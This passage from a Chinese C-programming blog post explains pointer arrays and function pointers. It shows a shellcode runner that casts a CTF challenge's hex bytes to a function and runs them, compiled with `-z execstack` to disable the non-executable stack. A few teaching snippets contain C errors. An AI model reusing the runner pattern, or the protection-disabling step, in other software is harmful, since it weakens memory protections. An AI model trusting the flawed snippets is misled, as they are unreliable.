class="line">---------------</span><br><span class="line">a</span><br><span class="line">a</span><br><span class="line">a</span><br><span class="line">a</span><br></pre></td></tr></table></figure>
<h3 id="指针数组"><a href="#指针数组" class="headerlink" title="指针数组"></a>指针数组</h3><ul>
<li>顾名思义就是元素为指针的数组,其实挺简单的<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> *a = <span class="string">"abcdaaaaaaaaaaaaaaaaaaaaaaaaaa"</span>;</span><br><span class="line"><span class="keyword">char</span> *b = <span class="string">"1234"</span>;</span><br><span class="line"><span class="keyword">char</span> *c = <span class="string">"xxxx"</span>;</span><br><span class="line"><span class="keyword">char</span> *d = <span class="string">"oooo"</span>;</span><br><span class="line"><span class="keyword">char</span> *e[] = { a, b, c, d }; # 指针数组</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, e[<span class="number">0</span>], e[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, e[<span class="number">1</span>], e[<span class="number">1</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, e[<span class="number">2</span>], e[<span class="number">2</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, e[<span class="number">3</span>], e[<span class="number">3</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"-------------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p\n"</span>, e);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p\n"</span>, e+<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"-------------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, *e, *e);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s %x\n"</span>, *(e+<span class="number">1</span>), *(e+<span class="number">1</span>));</span><br></pre></td></tr></table></figure>
</li>
</ul>
<p>输出结果:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">abcdaaaaaaaaaaaaaaaaaaaaaaaaaa 2b6b30 // 注意指针数组放的是每个字符串的首地址,不是原先的数据</span><br><span class="line">1234 2b6b58</span><br><span class="line">xxxx 2b6b60</span><br><span class="line">oooo 2b6b68</span><br><span class="line">-------------------</span><br><span class="line">0136F754 // 指针数组的地址</span><br><span class="line">0136F758 // 指针数组地址+1</span><br><span class="line">-------------------</span><br><span class="line">abcdaaaaaaaaaaaaaaaaaaaaaaaaaa 2b6b30</span><br><span class="line">1234 2b6b58</span><br></pre></td></tr></table></figure>
<ul>
<li><strong>指针数组存放的是地址</strong>,从这里可以看出指针数组的类型似乎意义不大,因为每个元素的大小是固定的,就是地址的长度。字符串和字符指针的区别,除了结尾的/0之外,还有<strong><em>通过<code>char *ptr = "aaaa"</code><br>这种方式初始化的属于常量,有自己的存储区,不可修改</em></strong>。<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> *a = <span class="string">"aaaaaa"</span>; <span class="comment">// 字符串</span></span><br><span class="line"><span class="keyword">char</span> b[<span class="number">6</span>] = <span class="string">"aaaaaa"</span>; <span class="comment">// 字符数组</span></span><br><span class="line"></span><br><span class="line">*a = <span class="string">'b'</span>; <span class="comment">// 报错,a是常量,不可修改</span></span><br><span class="line">b = <span class="string">'b'</span>; <span class="comment">// 可以修改</span></span><br></pre></td></tr></table></figure>
</li>
</ul>
<h2 id="指针函数"><a href="#指针函数" class="headerlink" title="指针函数"></a>指针函数</h2><h3 id="什么是函数指针"><a href="#什么是函数指针" class="headerlink" title="什么是函数指针"></a>什么是函数指针</h3><ul>
<li>函数指针就是指向函数入口的指针(真就万物皆可指针),和别的变量一样,函数也可以通过指针访问。第一次接触函数指针是在执行shellcode的时候,需要将一段字符串转换成函数并执行。程序来自<a href="https://bruce30262.github.io/ais3-2015-pre-exam-complete-writeup/" target="_blank" rel="noopener">某大佬的博客</a>,这是一段linux的shellcode,程序要在linux下编译执行</li>
</ul>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> code[] = <span class="string">"\x48\xb8\xb5\xa3\xb9\xb1\xc6\x41\x41\x41\x50\x48\xb8\xbc\xa0\xa9\x93\xaa\xa3\xbe\x93\x50\x48\xb8\xa9\x93\xa5\xbf\x93\xbf\xa5\xa1\x50\x48\xb8\xbf\xa4\xa9\xa0\xa0\xaf\xa3\xa8\x50\x48\xb8\x8d\x85\x9f\xff\xb7\xa3\xa7\x93\x50\x48\x89\xe6\x48\x31\xd2\x80\x34\x16\xcc\xfe\xc2\x80\xfa\x25\x75\xf5\x48\x31\xc0\x48\xff\xc0\x48\x89\xc7\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> (*func)(); <span class="comment">// 声明指针函数func</span></span><br><span class="line"> func = (<span class="keyword">int</span> (*)()) code; <span class="comment">// 强转code为func的指针类型 char* -> int(*)()</span></span><br><span class="line"> (<span class="keyword">int</span>)(*func)(); <span class="comment">// 函数调用</span></span><br><span class="line"> func(); <span class="comment">// 这种方式也可以</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure>
<ul>
<li>其中<code>int (*func) ()</code>就是声明一个返回值为int、参数为空的函数func的指针</li>
<li>同理<code>void* (*func) (int a)</code>就是声明一个返回值为指针,参数为int a的函数func的指针</li>
</ul>
<ul>
<li>编译</li>
<li>注意到我们这里是将一个局部变量作为函数执行,这个变量是字符数组,该值存在栈中。一些操作系统在编译的时候默认会加上安全编译选项,如堆栈不可执行,因此我们这里要把这个选项关掉,通过<code>-z execstack</code>,如果编译时没有加上该选项,那么我这里会报段错误</li>
</ul>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc test.c -o test -z execstack</span><br></pre></td></tr></table></figure>
<ul>
<li>结果自然是能运行,打了个flag,是某ctf比赛的题目</li>
</ul>
<ul>
<li>既然说到字符数组,可以想到前面指针数组内容里提到的,字符数组和字符串的存储区域不同,字符串存储于常量存储区且不可修改,字符数组作为局部变量存在于main的栈上,如果我们将shellcode从字符数组换成字符串,那么不需要关闭堆栈不可执行保护程序也能运行。</li>
</ul>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">char</span> *code = <span class="string">"\x48\xb8\xb5\xa3\xb9\xb1\xc6\x41\x41\x41\x50\x48\xb8\xbc\xa0\xa9\x93\xaa\xa3\xbe\x93\x50\x48\xb8\xa9\x93\xa5\xbf\x93\xbf\xa5\xa1\x50\x48\xb8\xbf\xa4\xa9\xa0\xa0\xaf\xa3\xa8\x50\x48\xb8\x8d\x85\x9f\xff\xb7\xa3\xa7\x93\x50\x48\x89\xe6\x48\x31\xd2\x80\x34\x16\xcc\xfe\xc2\x80\xfa\x25\x75\xf5\x48\x31\xc0\x48\xff\xc0\x48\x89\xc7\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05"</span>;</span><br></pre></td></tr></table></figure>
<ul>
<li><p>编译</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc test.c -o test</span><br></pre></td></tr></table></figure>
</li>
<li><p>结果自然是意料之中的</p>
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2019/12/16/gettyimages_spider/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2019/12/16/gettyimages_spider/" class="post-title-link" itemprop="url">gettyimages图片爬虫</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-12-16 17:51:08" itemprop="dateCreated datePublished" datetime="2019-12-16T17:51:08+08:00">2019-12-16</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2019-12-18 16:01:32" itemprop="dateModified" datetime="2019-12-18T16:01:32+08:00">2019-12-18</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%9B%BE%E7%89%87%E7%88%AC%E8%99%AB/" itemprop="url" rel="index"><span itemprop="name">图片爬虫</span></a>
</span>
</span>
</div>
</header>